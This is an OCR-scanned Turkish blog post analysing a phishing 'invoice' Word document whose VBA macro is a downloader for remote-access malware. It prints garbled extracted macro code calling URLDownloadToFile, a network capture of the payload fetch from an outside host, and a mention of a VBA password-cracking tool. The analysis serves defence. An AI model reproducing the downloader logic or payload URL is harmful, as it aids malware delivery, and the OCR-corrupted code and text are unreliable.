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written by Mert SARICA | 1 December 2015

Hemen hemen benle ayni yasta veya daha yasli olanlariniz, 1999 yilinda
Microsoft Office Word makrosu ile yayilan ve dinya genelindeki milyonlarca
sistemi etkileyen Melissa zararli yazilimini (virus) hatirlayacaklardir.
Melissa zararli yazilimi, Microsoft Office ile gelen makro destegi sayesinde,
calistirildigi sistem Uzerinde Microsoft Outlook lzerinde kayitli olan ilk 50
kisiye kendisini gdndererek yayiliyordu.

Nedir bu makro diye soracak olursaniz, Microsoft firmasi size asagidaki gibi
bir yanit verecektir;

Makrolar, tus ve fare eylemlerinde zaman kazanmak icin sik kullanilan
gorevleri otomatiklestirir. Pek c¢ok makro, Visual Basic for Applications
(VBA) kullanilarak olusturulmustur ve yazilim gelistiricileri tarafindan
yazilirlar. Ancak bazi makrolar olasi bir guvenlik riski yaratir. Korsan
olarak da bilinen kotd niyetli kullanicilar, bir dosyaya, bilgisayariniza
veya kurulus aginiza virls bulastirabilecek zararli bir makro
yerlestirebilir.

Yillar icinde makrolarin kotuye kullanimi nedeniyle Microsoft firmasi da bos
durmayarak Office yazilimi Uzerinde c¢esitli glvenlik iyilestirmeleri yapti.
Bunlardan bir tanesi de Office 2007 surumi ile sunulan yeni dosya uzantilari
oldu. Ornegin Office 2007 ile olusturulmus bir office dosyasinin uzantisinda
m harfi geciyor ise bu, office dosyasinin makro icerdigini belirtir. Durum
boyle olunca da uzantisinda m harfi gecen office dosyalarina daha teminkinli
yaklasabilir, uzantiya gore bu dosyalari bloklayabilir olduk.

Melissa zararli yazilimindan bu yana neredeyse 20 sene gegmis, Microsoft da
Uzerine dusenleri yapmis, bize bunlari neden anlatiyorsun diyenleriniz
olabilir. Makro iceren office dosyalari ile son zamanlarda, internet
bankaciligi zararli yazilimlari ve RAT tiri zararli yazilimlarin yayilmaya
calistigini goOruyoruz. M harfi iceren dosya uzantilarinin dikkat cektigini
bilen art niyetli kisiler de makro iceren dosyalari Office 2003 sUrimi ile
hazirladiklari icin biling¢li kullanicilarin ve uzanti kontrold yapan
sistemlerin dikkatinden, kontrolinden gecebiliyor.


https://www.hack4career.com/microsoft-office-makro-analizi/
https://www.hack4career.com/microsoft-office-makro-analizi/
https://en.wikipedia.org/wiki/Melissa_%28computer_virus%29
https://support.office.com/en-us/article/Introduction-to-new-file-name-extensions-ECA81DCB-5626-4E5B-8362-524D13AE4EC1
https://en.wikipedia.org/wiki/Remote_administration_software

Subject: FW: urgent RE: PO/002/2015- urgent

| Message | Dlde( Invoice.doc (148 KB)

From: IS SRS

Sent: Tuesday, May 26, 2015 5:16 AM

To:l | I LIy I W 1)
Subject: RE: urgent RE: PO/002/2015- urgent

Dear Mohamed,
Kindly see see the see the attached invoice for the order and de the needful. We have confirmed the last payment in our account and the original documents will be sent through Aramex today .

Please do the needful in respect to the the attached invoice and also forward to your accounts.

Regards
Ahmed
APAM.
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Peki makro icerdigini disindidgimiz bir office dosyasini nasil analiz
edebiliriz ? Office dosyasini sanal bir makine icinde Microsoft office
yazilimi ile ac¢tiktan sonra Macro (view -> macros -> view macros) menlsinden
icerigini goruntileyebiliriz ancak bunu bilen art niyetli kisiler ¢ogunlukla
makroya sifre korumasi koymaktadirlar. Bu sifreyi cdzmek icin Reset VBA

Password aracindan faydalanabilirsiniz.


http://www.proxoft.com/Rvbap/default.aspx
http://www.proxoft.com/Rvbap/default.aspx
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Makro icerdigini disidndigimiz bir ofis dosyasini Microsoft Office yuklu
olmadan analiz etmenin bir yolu yok mu derseniz, OfficeMalScanner araci
sayesinde onun da mimkin oldugunu sOyleyebilirim. OfficeMalScanner araci,
supheli (kabukkodu, PE tespiti gibi) ofis dosyalarini analiz etmemize
yardimci olan ve ofis dosyasi icinde tespit ettigi makro kodunu analiz igin
¢ikarmamiza yardimci olan oldukca faydali bir aracgtar.

Ornedin elimizde Microsoft Office 2003 ile olusturuldugunu disiindigimiiz
yukaridaki gibi supheli bir ofis dosyasi var ise bu araca parametre olarak
info komutunu vererek aracin bizim icin dosyayi analiz etmesini ve makro
kodunu c¢ikartmasini saglayabiliyoruz. Eger elimizdeki ofis dosyasi Microsoft
Office 2007 ve sonrasi ile olusturulmus ise bu defa inflate komutunu
kullanarak (aslinda ofis dosyasinin uzantisini .zip olarak degistirip
winzip/winrar ile acmaktan pek farki yok) ofis dosyasini ac¢masini ve ic¢inde
yer alan makro kodunu tekrar info komutu ile c¢ikartmasini saglayabiliyoruz.


http://www.reconstructer.org/code/OfficeMalScanner.zip
http://www.reconstructer.org/papers/New%20advances%20in%20Ms%20Office%20malware%20analysis.pdf
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[#]1 Opening file Order Invoice.doc
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UB—MACRO CODE WAS FOUMD INSIDE THIS FILE®
The decomprezszed Macro code was stored here:

» GisxDocuments and Settingszs~Adminiztrators~Desktop~files~0ffice Malware Sca
Of ficeMalScanner~0ORDER ITHUOICE.DOC—Macros

& ORDER INVOICE.DOC-Macros

File Edit Wiew Favorites Tools  Help a

oy = |
Q Back - ? ir ’ ! Search Folders E\v S Folder Swnc

address |55 C\Documents and SettingshadministratoriDeskkopifilesiOffice Malware Scanner OfficeMalScanner\ ORDER INVOICE,DOC-Macros W @ Go
y 4 MewMacros ThisDocurment
File and Folder Tasks A File fﬁ File
& KB EEE RN

_:) Make a new Folder

@ Publish this Folder ta the
ek

k! Share this Folder

r

Other Places

|y ©fficeMalScanner

'_i My Documents

I Shared Documents
_e My Compuker

t_é Iy Rlebwark Places




Be [de each Vew Epoodeg (anguage Setrgi Mare Bun Fugns  widow
iedHE s @ £ %D 2 x:

o
L ALtribute VD _Nase - “NevEscioa” -
I #If VEL? Then
3 Private Declare Frriafe Function Qout ¥ Lib " ALL" Abias “Ge = *

1 iByVal lpBuffer s String, n¥ize As Longl ks Leng

5 Pravere Declare PirSate Function Lab ~priges® Alias “URLIowmloadToliles” _

L3 (ByVal Jh Ar Long, ByVal GygRGGELgnIgafGRTRGHO)OIGRITGRITORTIHGh Ax It , BYVAl tGLQERDEVDTVINTU)hIGHIkul kel iRURBLQET As String, DyVel IkealQOTudfdlyk ks Long, Dy¥al hulhBihdfveVoVdsswwsDawdff

T wEise

" Private Declare Funotion Lib * ALL™ Abian -

o (By¥nl lpBufdec s String, nSize Aa Long) As Long

10 Privete Declere Function ProwdcoBecomealepaliPeverseinginesr Lib “urlwon® Alias *URLDovnloadToFiled™ _

i Byval L TRELYTEyr Ar Long, By¥al lesbTaR)JOa6ITe As Stcing, DyVal JICRIMNefyicowl Am Strinmg, DyVal 1GONyaFEvaDSIul ie Long, ByWal ImBTECUlsSulkII As Long) As Long

12 #red 12

1

34 S Astotpeni]

18 bim loveadkd ke String

16 Pim HewPathe ks 3trisg

17 Dim NewPath As Serisg

in Pim CheokNusbare A JTrimg

» Chackibabars = =7

20 HewPathe = coyenfxbayrrEqichennIndhogy] ()

21 WewPath = “Ci\Usersi™ ¢ NewPathe € =\AppDatallocal)Tesp™

2z Dim RFHBO Gl vl As Seeing

] Dim NewScring ks String

24 NewSteing = “tabrella -mam anf ok In

15 bim LotsorFuckingStringisallintes As String

26 LotsofFuckingdteinginallinine = "protectiom | vulnerable worksheet Mac footage » CAsbercy studest”

27 Dim AmotherShitisBeceSaysthis ks String

i AnotherShitisEereSaysthis = “Soieltrl encryption deautbensiicecion hell CARL. Incrusicn wireshack™

29 Dim Fimal¥ord As Stcing

30 = + SplaciL uekingItE ing1nall1sne) (4) + Ch + Eplie )

1 UGy 9 = IpiutAset 18] & Tphit MMedscing) (21

a2 1371 - EoeC| ] FUARIDT__ EEByDXUF WLE®, 133T) « ChecMiumbers

»n Dim As Stringt = Fanal¥ord & Split(LotsofFuckingdtringimellinOne) (§)

£ 4 + e a » oy .

35 LRFjuexVebTierT = 1 IV & L

36 BERRIIGOFG = LKF, T

7 TIT = MewParh € Spliv weking@reinginal lindne) (1) € yui IDGIN) IVIHEG +

0 I = TITiopoihihulko

39 ey - ARmves €00, . cx + ‘ [ ‘ ©

40

41 T2 Dk TIT <5 "= Then

42 bim Jgt As Cbject

3 Bar - & 3pia SNEH

M [ ot ror - I, 1 Bihuihb)

45 End It

4% Epd Jub

47 Fusstion gayeadsbavteralebackindikromi () As String

40 Dim LengthofNepsl Am Long, imgd A Long -

A e e S YU P B
“ »
i erth | SEAT  breek | 85 Lni#6 Colid Seli0|0 R siid TF-& wjo BOM S

Ortaya ¢ikan makro kodunu analiz ettigimiz zaman, kullanilan APIler’den de
yola cikarak bunun RAT tiru zararli yazilim indiren bir indirici (downloader)

oldugunu rahatlikla gorebiliyoruz.

=]
= [Expert Info (Chat/sequence): GET /hala.exe HTTP/1.1%r%n]

[Message: GET /hala.exe HTTP/1.1%r'n]
[severity level: chat]
[Group: Seqguence]
Request Method: GET
Request URI: /hala.exe
RequestT wersion: HTTR/L.1
Host: jddiamondtools. com'.rhn
Connection: Keep-Aliwve'rin
\ryn

[Full request URI: http://jddiamondtools. com/hala. exe]

- Hypertext Tranmsfer protocol
GET /hala.exe HTTP/1.1\r\n

Bu yazinin siphelendiginiz ofis dosyalarini analiz etmenizde siz yol
gostermesi Umidiyle, bir sonraki yazida gorismek dilegiyle herkese glvenli

ginler dilerim.



